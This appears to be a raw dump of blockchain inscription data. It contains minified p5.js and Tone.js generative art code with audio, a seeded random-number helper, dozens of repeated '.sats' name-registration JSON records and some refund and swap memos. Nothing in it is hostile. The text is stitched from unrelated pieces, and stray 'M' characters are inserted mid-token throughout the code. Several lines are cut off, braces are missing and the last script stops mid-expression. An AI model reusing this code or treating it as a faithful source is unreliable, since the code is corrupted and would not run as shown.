","#40f2d0","#123676","#9c223d","#e6c7b4"],["#ef973f","#177199","#6b43dd","#15abba","#4aa4ae","#69239b","#f7f1b4"],["#e22079","#2058d3","#7462f9","#40f2d0","#5a92e5","#9c223d","#e6c7b4"],["#f21c59","#177199","#6b43dd","#15abba","#4658f9","#69239b","#f7f1b4"],["#e22079","#2058d3","#e6c7b4","#40f2d0","#5a92e5","#ba4564","#edf28b"],["#f21c59","#177199","#f7f1b4","#15abba","#4658f9","#e5336a","#43f7c8"],["#e22079","#4b80e0","#e6c7b4","#41a9ef","#5a92e5","#bc0d8b","#f7adf7"],["#f21c59","#197abc","#f7f1b4","#36a9cc","#46M
58f9","#d3057f","#43f7c8"],["#e22079","#4b80e0","#e6c7b4","#435ced","#e2b55a","#ea397d","#f4e2ae"],["#f21c59","#197abc","#f7f1b4","#7f63f7","#f98562","#e84b3a","#e9f49f"],["#0850b7","#6771f9","#8213bc","#75f9e0","#4848c1","#ffb3c9","#2e92ff"],["#3081e2","#5285dd","#9604af","#15abba","#0f0fce","#f7e579","#034a7f"],["#d80e3e","#6771f9","#8213bc","#f7ad77","#4848c1","#ffb3c9","#31b5ff"],["#ef4878","#5285dd","#9604af","#f4cb78","#0f0fce","#f7e579","#2a76d1"],["#f98246","#69acf7","#8213bc","#f7ad77","#4848c1","#ffb3c9",M
"#31b5ff"],["#ed7d4a","#5285dd","#b529d3","#f4cb78","#0f0fce","#f7e579","#2a76d1"],["#f7cd48","#69d6f4","#8213bc","#f7ad77","#7649bf","#ffb3c9","#e6c7b4"],["#f49090","#21b5d8","#b529d3","#f4cb78","#5829b2","#f7e579","#f7f1b4"],["#4a82f4","#f22a51","#8213bc","#f7ad77","#905df4","#ffb3c9","#0c85ba"],["#4cb2f2","#b72c4e","#b529d3","#f4cb78","#542ad3","#f7e579","#096889"],["#4a82f4","#f22a51","#1522ba","#f7ad77","#d32fc0","#b6fffa","#0c85ba"],["#4cb2f2","#b72c4e","#483d9b","#f4cb78","#e50a6e","#f1ffb8","#096889"],["#4aM
82f4","#f22a51","#4b23db","#f7ad77","#d1304b","#5b99f4","#1dbcb4"],["#4cb2f2","#b72c4e","#694eea","#f4cb78","#d61660","#5cd3f2","#096889"],["#ad4cf2","#f22a51","#8213bc","#f478b0","#5ff2f2","#ffb3c9","#0c85ba"],["#8b05e2","#b72c4e","#b529d3","#f4cb78","#3ea6b7","#f7e579","#096889"],["#584def","#f22a51","#a52cdd","#f2c679","#60caef","#d2b6ff","#0d53b7"],["#4f24c6","#b72c4e","#b529d3","#efaa7b","#3ea6b7","#f7e579","#458bdd"],["#584def","#ef592b","#2cdbc1","#f2c679","#6290ed","#b8fff1","#0d53b7"],["#4f24c6","#f27949",M
"#2ec0d8","#efaa7b","#4067b5","#f7e579","#458bdd"],["#584def","#ed2e8a","#2eacd8","#f2c679","#6290ed","#6929ce","#0d53b7"],["#4f24c6","#c11670","#3070d6","#efaa7b","#4067b5","#4a4add","#458bdd"],["#584def","#ed2e8a","#2eacd8","#ef9c7b","#6290ed","#6929ce","#0d53b7"],["#4f24c6","#c11670","#3070d6","#fc583d","#4067b5","#4a4add","#458bdd"],["#b7b7b7","#0a0a0a","#ffffff","#dbdcdd","#b2b2b2","#a7a7a8","#4e4f4f"],["#d8d8d8","#636363","#dbdcdd","#b2b2b2","#4e4f4f","#e0e1e2","#3f3f3f"],],paletteIndex,colorIndex,colorIndex2M
,grayscale,paletteMode,element,flavour,key,trigger=!1,anim=!1,gridIndex=0,count=0,direction,currentChord=0,nextChord=0,keyArray=["C","D","E","F","G","A","B"],flavours=["major","minor"],fifths=[["C","G","D","A","E","B","F#","Db","Ab","Eb","Bb","F"],["A","E","B","F#","C#","G#","D#","Bb","F","C","G","D"]],midSeq4,mapScale,mixer,stereo,synth2,synth4,synth6,synth3,feedback,reverb5,delay5,delay4,delay2,reverb3,lfo,pingPong,pingPong1,panner,autoPan,FFT,wave,meter,pendulum;function centerCanvas(){var e=(windowWidth-width)/M
2,t=(windowHeight-height)/2;cnv.position(e,t)}function setup(){wdt=windowWidth<windowHeight?windowWidth:windowHeight,wdt-=margin,cnv=createCanvas(wdt,wdt),centerCanvas(),bIndex=1,background(0),center=createVector(width/2,height/2),noFill(),noStroke(),smooth(),strokeWeight(1);let e=int(1990*mathRand());noiseSeed(e),randomSeed(e),noiseDetail(2,1),pixelDensity(displayDensity()),initializeAudio();let t=int(map(mathRand(),0,1,0,flavours.length));flavour=flavours[t];let f=int(map(mathRand(),0,1,0,fifths[t].length));key=fM
ifths[t][f],mapScale=(scale=(scale=(scale=(scale=(scale=(scale=(scale=Tonal.Scale.get(key+"1 "+flavour).notes).concat(Tonal.Scale.get(key+"2 "+flavour).notes)).concat(Tonal.Scale.get(key+"3 "+flavour).notes)).concat(Tonal.Scale.get(key+"4 "+flavour).notes)).concat(Tonal.Scale.get(key+"5 "+flavour).notes)).concat(Tonal.Scale.get(key+"6 "+flavour).notes)).concat(Tonal.Scale.get(key+"7 "+flavour).notes)).slice(14,28);for(let i=0;i<mapScale.length;i++){mapScale.length,mapScale[i].length>2?keyFifths.push(mapScale[i].sliM
ce(0,2)):keyFifths.push(mapScale[i].slice(0,1));.5>random(1)?currentKey-=1:currentKey+=1}let a=[];for(let $=0;$<keyFifths.length;$++)a.push(fifths[t].indexOf(keyFifths[$]));for(let s=0;s<a.length;s++)-1===a[s]&&(keyFifths.splice(s,1),a.splice(s,1));for(let c=0;c<a.length;c++)a[c]===a[0]-1&&(sequence.push(keyFifths[0]),sequence.push(keyFifths[c])),a[c]===a[0]+1&&sequence.push(keyFifths[c]),a[c]===a[0]+3&&(sequence.push(keyFifths[0]),sequence.push(keyFifths[c])),a[c]===a[0]+2&&sequence.push(keyFifths[c]),a[c]===a[0]+M
4&&sequence.push(keyFifths[c]);for(let n=0;n<15;n++)for(let d=0;d<sequence.length;d++)chordArray.push(generateChord(`${sequence[d]}2`,!0));for(let _=0;_<15;_++)for(let r=0;r<sequence.length;r++)bassChord.push(generateChord(`${sequence[r]}3`,!0));paletteMode=mathRand(),paletteIndexSub=(paletteIndex=2*int(map(mathRand(),0,1,0,50)))+1,paletteIndex3=2*int(map(mathRand(),0,1,0,50)),colorIndex=int(map(mathRand(),0,1,0,palette1[0].length)),colorIndex2=int(map(mathRand(),0,1,0,palette1[0].length)),paletteType=mathRand(),grM
ayscale=98===paletteIndex,oscill=mathRand(),oscill2=mathRand(),format=mathRand(),direction=int(map(mathRand(),0,1,0,2)),format<.5?(w=width,h=.4*height):(w=.4*width,h=height),tileWidth=floor(w/sclX)+1,tileHeight=floor(h/sclY)+1,chordNotes=chordArray;for(let b=0;b<=w;b+=tileWidth)for(let o=0;o<=h;o+=tileHeight){let l=gridIndex;points.push(new GridPoint(b-w/2,o-h/2,tileWidth,tileHeight,0,l,0)),gridIndex=(gridIndex+1)%14}let p=map(mathRand(),0,1,.1,.5),u=points;for(let y in points)mathRand()>p?(points[y].subdivide(u,y,M
2),points.splice(y,1),count++):(u.push(points[y]),points.splice(y,1));element=(points=u).length;let g;g=paletteMode<.5?7:3,window.$generativeTraits={Type:"Audio",BPM:"60",Aspect:"Grid",Key:key,Flavour:flavour,Elements:element,Subdivision:count,Palette:g,Grayscale:grayscale,Property:"Object"}}function initializeAudio(){Tone.Transport.bpm.value=60,(mixer=new Tone.Gain).toDestination(),FFT=new Tone.FFT(64),Tone.Master.connect(FFT),wave=new Tone.Waveform,(pendulum=new Tone.LFO(.05)).start(),(meter=new Tone.Meter).normaM
lRange=!0,pendulum.connect(meter),panner=new Tone.Panner(0).chain(mixer);let e=new Tone.Chorus({frequency:.83,depth:.7,wet:.85}),t=new Tone.Reverb({decay:3/4,wet:.5});t.generate();let f=new Tone.FeedbackDelay({delayTime:3/8,feedback:.32,wet:.36});(pingPong=new Tone.PingPongDelay(3/4,.5).toDestination()).set({wet:.3});let i=new Tone.Filter(2250,"lowpass",-24),a=new Tone.Filter(320,"highpass",-48);new Tone.LFO(1,250,2250).connect(i.frequency).start();let $=new Tone.FeedbackDelay({delayTime:.005,feedback:.1,wet:.33});M
new Tone.LFO(1,-1,1).connect(panner.pan).start(),(synth4=new Tone.PolySynth(Tone.FMSynth).chain(e,f,t,pingPong,i,a,$,mixer)).set({harmonicity:3,modulationIndex:3,oscillator:{type:"sine"},envelope:{attack:2e-4,decay:.1,sustain:.08,release:.03},modulation:{type:"sine"},modulationEnvelope:{attack:4e-4,decay:.1,sustain:.09,release:.01},filterEnvelope:{attack:2e-4,decay:.2,sustain:.5,release:.4,baseFrequency:200,octaves:2.6},volume:-16}),delay5=new Tone.FeedbackDelay({delayTime:3/8,feedback:.3,wet:.2});let s=new Tone.ReM
verb({decay:3/16,wet:.25});s.generate();let c=new Tone.Filter(2250,"lowpass",-24);(synth6=new Tone.PolySynth(Tone.Synth).chain(delay5,s,pingPong,c,mixer)).set({harmonicity:3,modulationIndex:3,detune:0,oscillator:{pitch:7,type:"sine"},envelope:{attack:1,decay:.1,sustain:.02,release:.03},modulation:{type:"sine"},modulationEnvelope:{attack:1.5,decay:.1,sustain:.02,release:.06},filterEnvelope:{attack:2,decay:.2,sustain:.5,release:.4,baseFrequency:200,octaves:2.6},volume:-24}),synth6.connect(wave),Tone.Transport.schedulM
eRepeat(()=>{pingPong.set({delayTime:random([3/4,3/16,3/8,.25])}),pingPong.set({wet:random([0,.1,.5])}),f.set({delayTime:random([3/8,.25])}),delay5.set({delayTime:random([3/8,.25])})},"2m")}function draw(){background(0,20),translate(center.x,center.y);let e=.5-meter.getValue(0),t=wave.getValue(0),f=FFT.getValue(0),i=map(e,-.5,.5,-PI,PI);for(let a=0;a<points.length;a++)points[a].r=points[a].r3,points[a].move(),points[a].animate(a,i,f),points[a].render(),points[a].display(a,t,f),points[a].start+=.1,points[a].offset+=M
.006;anim&&(start+=.02),trigger&&(playChord(),Tone.Transport.start(),trigger=!1)}function playChord(){Tone.Transport.schedule(bounceChord,"1"),Tone.Transport.start()}function bounceChord(){currentChord=nextChord,Promise.all([playSynthChord(chordNotes[currentChord],12,12),playStringChord(bassChord[currentChord],6,6),]).then(e=>{int(random(2));let t=int(random(6,18))+"m";!function f(i){let a=e[0],$=e[1];new Tone.BufferSource({url:a,playbackRate:.125}).toDestination().start(i),new Tone.BufferSource({url:$,playbackRateM
:.125}).toDestination().start(i),Tone.Transport.scheduleOnce(f,"+"+t)}(Tone.now())}),Tone.Transport.start(),nextChord<chordNotes.length-1?nextChord+=1:nextChord=0,Tone.Transport.schedule(bounceChord,"+2m")}function playSynthChord(e,t,f){let i=Tone.Time(t).toSeconds(),a=Tone.Time(f).toSeconds();return Tone.Offline(()=>{synth6.triggerAttackRelease(e,i)},i+a)}function playStringChord(e,t,f){let i=Tone.Time(t).toSeconds(),a=Tone.Time(f).toSeconds();return Tone.Offline(()=>{synth4.triggerAttackRelease(e,i)},i+a)}functioM
n voicing(e,t){let f=scale.indexOf(e)+t-1,i;if(void 0!==scale[f])i=scale[f];else if(3===(i=scale[f-7]).length)parseInt(i.slice(2));else{let a=parseInt(i.slice(1))+1;i=`${i.slice(0,1)}${a}`}return i}const getNextChordNote=(e,t)=>{let f=scale.indexOf(e)+t-1,i;if(void 0!==scale[f])i=scale[f];else if(3===(i=scale[f-7]).length)parseInt(i.slice(2));else{let a=parseInt(i.slice(1))+1;i=`${i.slice(0,1)}${a}`}return i};function generateChord(e,t){let f=1,i=1,a=1,$=1,s=1,c=1,n=1;t?(f=generateIndice1(),i=generateIndice1(),a=geM
nerateIndice1(),$=generateIndice1(),s=generateIndice(),c=generateIndice2(),n=generateIndice2()):(f=1,i=1,a=1,$=1,s=1,c=1,n=1);let d=voicing(e,f),_=voicing(getNextChordNote(e,3),i),r=voicing(getNextChordNote(e,5),a),b=voicing(getNextChordNote(e,7),$),o=voicing(getNextChordNote(e,9),s);return voicing(getNextChordNote(e,11),c),voicing(getNextChordNote(e,13),n),[d,_,r,b,o]}function generateIndice(){let e=int(map(mathRand(),0,1,0,3));return 0===e?-8:1===e?1:2===e?8:void 0}function generateIndice1(){return mathRand()>.5?M
1:8}function generateIndice2(){return mathRand()>.5?-8:1}class GridPoint{constructor(e,t,f,i,a,$,s){int(map(e+t,-width/2+-height/2,width/2+height/2,0,sclX+sclY)),int(map(t,-height/2,height/2,0,4)),this.x=e,this.y=t,this.w=f,this.c2=f,this.wx=e,this.hy=t,this.ws=f,this.hs=i,this.h=i,this.r=f,this.r2=f,this.r3=f,this.mv=0,this.theta=0,this.centerX=this.x+this.w/2,this.centerY=this.y+this.h/2,this.c=int(map(mathRand(),0,1,0,3)),this.paletteIndex2=int(map(dist(this.centerX,this.centerY,0,0),0,500,0,palette1[0].length))M
,this.randForm=int(map(mathRand(),0,1,0,5)),this.randIndex=paletteMode<.5?int(map(mathRand(),0,1,0,palette1[0].length)):paletteIndex2,this.randIndex2=int(map(mathRand(),0,1,0,palette1[0].length)),this.randIndex3=int(map(mathRand(),0,1,0,palette1[0].length)),this.randIndex4=int(map(mathRand(),0,1,0,palette1[0].length)),this.start=0,this.alpha=255,this.pIndex=paletteIndex,this.pi=paletteIndex3,this.rt=map(mathRand(),0,1,PI/6,PI/3),this.incr,this.rst=random(0,TAU),this.rst2=random(0,TAU),this.rad=0,this.sub=s,this.offM
set=20*mathRand(),this.offset2=0,this.div=int(map(mathRand(),0,1,10,30)),this.strk=1,this.isOn=a,this.note=$,this.init(),paletteIndex2=(paletteIndex2+1)%3}subdivide(e,t,f){let i=this.w/f,a=this.h/f,$=this.sub+1,s=this.note+7;e.push(new GridPoint(this.x,this.y,i,a,this.isOn,s,$),new GridPoint(this.x+i,this.y,i,a,this.isOn,s,$),new GridPoint(this.x,this.y+a,i,a,this.isOn,s,$),new GridPoint(this.x+i,this.y+a,i,a,this.isOn,s,$))}move(){if(0<=this.t&&this.t<this.t1){let e=norm(this.t,0,this.t1-1);this.mv=lerp(0,TAU,easeM
OutQuint(e)),this.rad=lerp(0,this.w/4,easeOutQuint(e))}this.t1<this.t&&this.init(),this.t++}init(){this.t=-int(random(map(speed,1,5,500,100))),this.t1=map(speed,1,5,220,60)}animate(e,t,f){this.theta=t+e*PI/4;let i=int(map(this.x,-width/2,width/2,0,f.length)),a=f[i];a=a===-1/0?0:f[i],this.incr=map(a,0,-100,0,.2),this.i=map(e,0,points.length,0,TWO_PI),this.xoff=map(cos(this.i),-1,1,0,3),this.yoff=map(sin(this.i),-1,1,0,3),this.n=noise(this.xoff+this.offset+this.incr,this.yoff+this.offset+this.incr),this.n4=noise(thisM
.xoff+50,this.yoff+50),this.n5=noise(this.xoff+50+start,this.yoff+50+start),this.n6=noise(this.offset,this.offset),this.angle=noise(this.xoff+this.offset,this.yoff+this.offset)*TAU*4,this.xa=this.x,this.ya=this.y*sin(map(this.n,0,1,0,TAU)),this.xb=this.x*sin(this.mv),this.r=map(this.n,0,1,this.w/2,this.w),this.r3=map(this.n,0,1,this.w/2,this.w),this.r2=map(this.n,0,1,0,5),this.alpha=map(this.n5,0,1,120,180),this.delay=int(map(this.n4,0,1,2,1))}render(){strokeWeight(.1);fill(color(palette1[this.pIndex][this.randIndeM
x])),circle(this.x,this.ya,this.r2),circle(this.x+this.w,this.ya,this.r2),circle(this.x,this.ya+this.h,this.r2),circle(this.x+this.w,this.ya+this.h,this.r2)}display(e,t,f){if(0===direction)for(let i=this.ya;i<=this.ya+this.h;i+=2){beginShape();for(let a=this.xa;a<=this.xa+this.w;a+=5){let $=int(map(this.ya*this.xa,(this.ya+this.h)*(this.xa+this.w),0,f.length)),s=f[$];s=s===-1/0?0:f[$],this.incr2=map(s,0,-100,0,6),this.n3=noise(this.incr2,this.incr2),this.n2=noise(this.xoff+this.offset2+this.incr2,this.yoff+this.offM
set2+this.incr2),this.n4=map(this.n3,0,1,.9,1.1),this.z=oscill<.5?map(this.n2,0,1,.9,1.1):1;let c=int(map(this.n2,0,1,0,255));int(map(this.n2,0,1,0,palette1[0].length));let n=map(i,this.y,this.y+this.h,0,1),d,_=color(palette1[this.pIndex][this.randIndex]),r=color(palette1[this.pIndex+1][this.randIndex]);(d=lerpColor(_,r,n)).setAlpha(c),noFill(),stroke(d),strokeWeight(.5),vertex(a,i*this.z),this.offset2+=.1}endShape()}else if(1===direction)for(let b=this.xa;b<=this.xa+this.w;b+=2){beginShape();for(let o=this.ya;o<=tM
his.ya+this.h;o+=5){let l=int(map(e,points.length,0,f.length)),p=f[l];p=p===-1/0?0:f[l],this.incr2=map(p,0,-100,0,3),this.n3=noise(this.incr2,this.incr2),this.n2=noise(this.xoff+this.offset2+this.incr2,this.yoff+this.offset2+this.incr2),this.n4=map(this.n3,0,1,.9,1.1),this.z=oscill<.5?map(this.n2,0,1,.9,1.1):1,this.z2=oscill2<.5?map(this.n2,0,1,.999,1.009):1;let u=int(map(this.n2,0,1,0,255));int(map(this.n2,0,1,0,palette1[0].length));let y=map(o,this.y,this.y+this.h,0,1),g,x=color(palette1[this.pIndex][this.randIndM
ex]),m=color(palette1[this.pIndex+1][this.randIndex]);(g=lerpColor(x,m,y)).setAlpha(u),noFill(),stroke(g),strokeWeight(.5),vertex(b*this.z2,o*this.z),this.offset2+=.1}endShape()}if(0===this.c);else if(1===this.c){strokeWeight(.5);let v=0;for(let I=1;I<t.length;I++)if(t[I-1]<0&&t[I]>=0){v=I;break}let k=v+t.length/2,F=100*this.h;for(let C=v;C<=k;C++){let S=map(C-1,v,k,this.xb,this.xb+this.w),T=map(t[C-1],-12,12,this.y-F,this.y+F+this.h),P=map(C,v,k,this.xb,this.xb+this.w),q=map(t[C],-12,12,this.y-F,this.y+F+this.h);lM
ine(S,T,P,q)}}}}function mapNote(e,t){let f=t.length,i=t[modulo(e,f)],a=Tonal.Note.octave(t[0])+floor(e/f);return Tonal.Note.pitchClass(i)+a}function modulo(e,t){return(e%t+t)%t}function easeOutQuint(e){return 1+--e*e*e*e*e}function windowResized(){centerCanvas()}function keyTyped(){return"p"===key&&saveCanvas("liquidentropy","jpg"),!1}function touchStarted(){return Tone.start(),anim||(trigger=!0,Tone.Transport.start()),anim=!0,3===touches.length&&saveCanvas("liquidentropy","jpg"),!1}function mousePressed(){return M
Tone.start(),anim||(trigger=!0,Tone.Transport.start()),anim=!0,!1}
    <script id="snippet-random-code" type="text/javascript">
        // DO NOT EDIT THIS SECTION
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('M
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (M
r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
          var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
        let mathRand = sfc32(...cyrb128(seed));
 background-color: #000000;
            margin: 0px;
            overflow: hidden;
            width: 100%;
            height: 100%;
    <script type="text/javascript">
FjDOUT:B76E8EE56793829C6036A8C63F8C1C0CA351FEEE438F4A0AA5029C1527BFE2A5
FjDOUT:79D2A95508DD3D7D354A21B28C50280D7167495C7F352B84D8C279EACAEA2723
text/plain;charset=utf-8
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"earlgrey.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"aijob.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"aimeta.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"aigames.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"aijobs.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"aifinance.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"aigame.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"666.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"999.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"888.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"777.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"222.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"555.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"333.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"444.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"111.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"999.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"666.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"777.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"222.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"333.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"555.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"888.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"444.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"111.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"222.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"888.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"333.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"555.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"666.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"777.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"444.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"999.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"111.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"444.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"666.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"888.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"222.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"999.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"777.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"333.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"555.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"78789.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"111.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"888.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"444.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"555.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"222.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"666.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"999.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"777.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"333.sats"}h!
CjA=:ETH.ETH:0x1FF4EdC852aCa7fc2e9806bd812127182831AE9e:3767500:te:0
text/plain;charset=utf-8
  "name": "GBTC.sats"
text/plain;charset=utf-8
  "name": "ren.sats"
text/plain;charset=utf-8
  "name": "kobebryant.sats"
IjGREFUND:87F33EA7C441E8203CFBA62A90B4C46C4D2A06BB81ABC2E9D15EA998CB335DCB
IjGREFUND:35F45468A455D38F3B72F3500117C23ED0D6D0C40F7D1C4F635E639D92EA66D1
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>"Rays" by Pawe
 Dudko | pdudko.com</title>
    <script id="snippet-random-code" type="text/javascript">
        // not editable
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() *M
 alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.lengthM
; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
    u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        let mathRand = sfc32(...cyrb128(seed));
            margin: 0;
            padding: 0;
            overflow: hidden;
  <canvas id="myCanvas"></canvas>
<script type="text/jaM
console.log("seed:",seed);class Rnd{rD(){return mathRand()}rN(r,t){return r+(t-r)*this.rD()}rI(r,t){return Math.floor(this.rN(r,t+1))}rB(r){return this.rD()<r}}const R=new Rnd;class Perlin{constructor(){this.R=new Rnd,this.grad3=[[1,1,0],[-1,1,0],[1,-1,0],[-1,-1,0],[1,0,1],[-1,0,1],[1,0,-1],[-1,0,-1],[0,1,1],[0,-1,1],[0,1,-1],[0,-1,-1]],this.p=[];for(var r=0;r<256;r++)this.p[r]=Math.floor(256*this.R.rD());for(this.perm=[],r=0;r<512;r++)this.perm[r]=this.p[255&r];this.simplex=[[0,1,2,3],[0,1,3M
,2],[0,0,0,0],[0,2,3,1],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,2,3,0],[0,2,1,3],[0,0,0,0],[0,3,1,2],[0,3,2,1],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,3,2,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,2,0,3],[0,0,0,0],[1,3,0,2],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,3,0,1],[2,3,1,0],[1,0,2,3],[1,0,3,2],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,0,3,1],[0,0,0,0],[2,1,3,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,0,1,3],[0,0,0,0],[0,0,0,0],[0,0,0,0],[3,0,1,2],[3,0,2M
,1],[0,0,0,0],[3,1,2,0],[2,1,0,3],[0,0,0,0],[0,0,0,0],[0,0,0,0],[3,1,0,2],[0,0,0,0],[3,2,0,1],[3,2,1,0]]}dot(r,t,e){return r[0]*t+r[1]*e}noise(r,t){var e,i,a=(r+t)*(.5*(Math.sqrt(3)-1)),o=Math.floor(r+a),l=Math.floor(t+a),n=(3-Math.sqrt(3))/6,s=(o+l)*n,g=r-(o-s),c=t-(l-s);g>c?(e=1,i=0):(e=0,i=1);var d=g-e+n,f=c-i+n,p=g-1+2*n,A=c-1+2*n,m=255&o,F=255&l,E=this.perm[m+this.perm[F]]%12,u=this.perm[m+e+this.perm[F+i]]%12,R=this.perm[m+1+this.perm[F+1]]%12,h=.5-g*g-c*c,B=.5-d*d-f*f,D=.5-p*p-A*A;return 70*((h<0?0:(h*=h)*h*M
